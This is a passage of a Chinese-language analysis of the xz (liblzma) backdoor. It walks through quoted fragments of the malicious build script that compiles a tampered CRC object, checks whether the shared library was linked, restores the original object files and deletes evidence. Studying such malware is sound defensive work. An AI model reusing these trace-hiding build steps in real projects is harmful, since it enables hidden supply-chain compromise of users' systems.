$CC $DEFS $DEFAULT_INCLUDES $INCLUDES $liblzma_la_CPPFLAGS $CPPFLAGS $AM_CFLAGS $CFLAGS -r -x c -  $P -o .libs/liblzma_la-crc32_fast.o; then

这段代码跟前面那段代码一样,对crc32_fast32进行了一波操作,但没有插入后门代码。

if $AM_V_CCLD$liblzma_la_LINK -rpath $libdir $liblzma_la_OBJECTS $liblzma_la_LIBADD; then
if test ! -f .libs/liblzma.so; then
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -fr .libs/liblzma.a .libs/liblzma.la .libs/liblzma.lai .libs/liblzma.so* || true
else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi

这里尝试使用libtool链接生成liblzma.la文件,如果能生成这个文件,代表可以链接生成liblzma.so

如果可以生成liblzma.la则接着测试.libs/liblzma.so是否存在,如果存在则代表后门成功插入,那么会将之前备份的正常文件覆盖编译生成的恶意文件,恢复原状。当然不管存不存在都会删除编译过程中生成的中间文件。

如果不能生成liblzma.la,则跟前面一样将之前备份的正常文件覆盖编译生成的恶意文件

rm -f .libs/liblzma_la-crc32-fast.o || true
rm -f .libs/liblzma_la-crc64-fast.o || true

删除之前备份的原对象文件。

else
mv -f .libs/liblzma_la-crc32-fast.o .libs/liblzma_la-crc32_fast.o || true
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi

这个分支是编译恶意liblzma_la-crc32_fast.o失败的else分支,编译失败会恢复原装

else
mv -f .libs/liblzma_la-crc64-fast.o .libs/liblzma_la-crc64_fast.o || true
fi
rm -f liblzma_la-crc64-fast.o || true
fi

这个分支是编译恶意liblzma_la-crc64_fast.o失败的分支,当编译失败后,不会进入其内编译恶意liblzma_la-crc32_fast.o,素以这里只需要删除liblzma_la-crc64-fast.o即可。

最后再尝试删除liblzma_la-crc64-fast.o,完全清除了攻击者执行的恶意编译痕迹。

参考

# The xz attack shell script

创建于:Thursday, April 18,2024
最后修改于: Thursday, April 18,2024